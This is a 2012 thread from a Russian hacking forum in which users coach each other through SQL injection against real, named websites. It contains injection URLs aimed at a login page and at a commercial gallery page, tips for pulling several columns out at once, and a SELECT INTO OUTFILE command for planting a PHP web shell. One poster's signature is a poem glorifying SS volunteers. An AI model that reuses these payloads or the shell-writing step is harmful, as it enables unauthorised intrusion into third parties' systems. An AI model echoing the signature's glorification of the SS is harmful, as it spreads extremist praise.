ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
07.03.2012, 20:28
|
|
Guest
Сообщений: n/a
Провел на форуме:
5709
Репутация:
0
|
|
Сообщение от None
вместо version() свой запрос
lalala from table
А как вывести только одну колонку ? Пытаюсь вот таким запросом http://hostdb.ru/auth/login?myPassword=WCRTESTINPUT000001&type=1&myLogin =1'and(select*from(information_schema.tables))and' Но в ответ пишет:
Сообщение от None
SELECT * FROM menu_items WHERE link = '1'and(select*from(information_schema.tables))and' '. Operand should contain 1 column(s)
|
|
|
|
07.03.2012, 20:28
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от stan0009
stan0009 said:
вопрос таков:
если я имею рутовский доступ к БД, что я теоретически смогу сделать?
Вплане заливки шелла, правки индекса...
Например, через тулзу MySQL query browser
полный доступ к базе MySQL, создание/уничтожение
и читать/писать файлы (если есть достаточно прав у пользователя MySQL в системе)
|
|
|
07.03.2012, 20:36
|
|
Guest
Сообщений: n/a
Провел на форуме:
195266
Репутация:
53
|
|
Сообщение от stan0009
stan0009 said:
вопрос таков:
если я имею рутовский доступ к БД, что я теоретически смогу сделать?
Вплане заливки шелла, правки индекса...
Например, через тулзу MySQL query browser
если разрешён коннект с удалённых ip для пользователя, то ты сможешь с неё подконнектится, иначе нет
Сообщение от bodrich
bodrich said:
А как вывести только одну колонку ? Пытаюсь вот таким запросом
http://hostdb.ru/auth/login?myPassword=WCRTESTINPUT000001&type=1&myLogin =1'and(select*from(information_schema.tables))and'
Но в ответ пишет:
Подзапрос может возвращать только одно значение, тобишь нельзя использовать *, там же написано. Если надо вернуть несколько колонок сразу, то надо сначала их объединить оператором типа concat_ws(0x3a,column_1,column_2,...,column_n), где 0x3a = : в hex формате. А ещё предвижу ошибку subquery returned more than one row(ну или как-то так), это потому что надо использовать лимит в подзапросе.
|
|
|
|
07.03.2012, 20:50
|
|
Guest
Сообщений: n/a
Провел на форуме:
39063
Репутация:
0
|
|
Melfis
ессесно я к ней и подключаюсь и все что хочешь могу делать.
перефразирую:
какие мне команды отправлять БД чтобы загрузить файл и вообще возможно ли это?
|
|
|
|
07.03.2012, 21:33
|
|
Guest
Сообщений: n/a
Провел на форуме:
36927
Репутация:
5
|
|
Сообщение от stan0009
stan0009 said:
Melfis
ессесно я к ней и подключаюсь и все что хочешь могу делать.
перефразирую:
какие мне команды отправлять БД чтобы загрузить файл и вообще возможно ли это?
при наличии file_priv =Y
SELECT '' INTO OUTFILE '/dir/name/shell.php'
|
|
|
|
08.03.2012, 17:23
|
|
Guest
Сообщений: n/a
Провел на форуме:
1245
Репутация:
0
|
|
why i can not see vul columns no??
Код:
Code:
http://www.myhomestory.com/interior-doors-gallery.php?id=-1%20UnioN%20selEct%20all%200,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1--
|
|
|
|
08.03.2012, 17:26
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
becouse id=1+and+1=0
http://www.myhomestory.com/interior-doors-gallery.php?id=1+and+1=0%20UnioN%20selEct%20all%20 0,version%28%29,2,3,4,5,6,7,8,9,0,1%20,2,3,4,5,6,7 ,8,9,0,1--
this is forum Russian,translate write... уже наконец то
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
08.03.2012, 17:34
|
|
Guest
Сообщений: n/a
Провел на форуме:
1245
Репутация:
0
|
|
эх жаль. Но как ты его нашел??
|
|
|
|
08.03.2012, 17:36
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
Сообщение от d4rkn3ss
d4rkn3ss said:
эх жаль. Но как ты его нашел??
чего нашел?, просто создал не верную логику
или же так http://www.myhomestory.com/interior-doors-gallery.php?id=111111111111111111111%20UnioN%20sel Ect%20all%200,version%28%29,2,3,4,5,6,7,8,9,0,1%20 ,2,3,4,5,6,7,8,9,0,1--
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
08.03.2012, 17:37
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от d4rkn3ss
d4rkn3ss said:
эх жаль. Но как ты его нашел??
Ты меня порвал Ты должен сделать так, чтобы инфа с БД не вывелась(1=0, 999999.9).
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
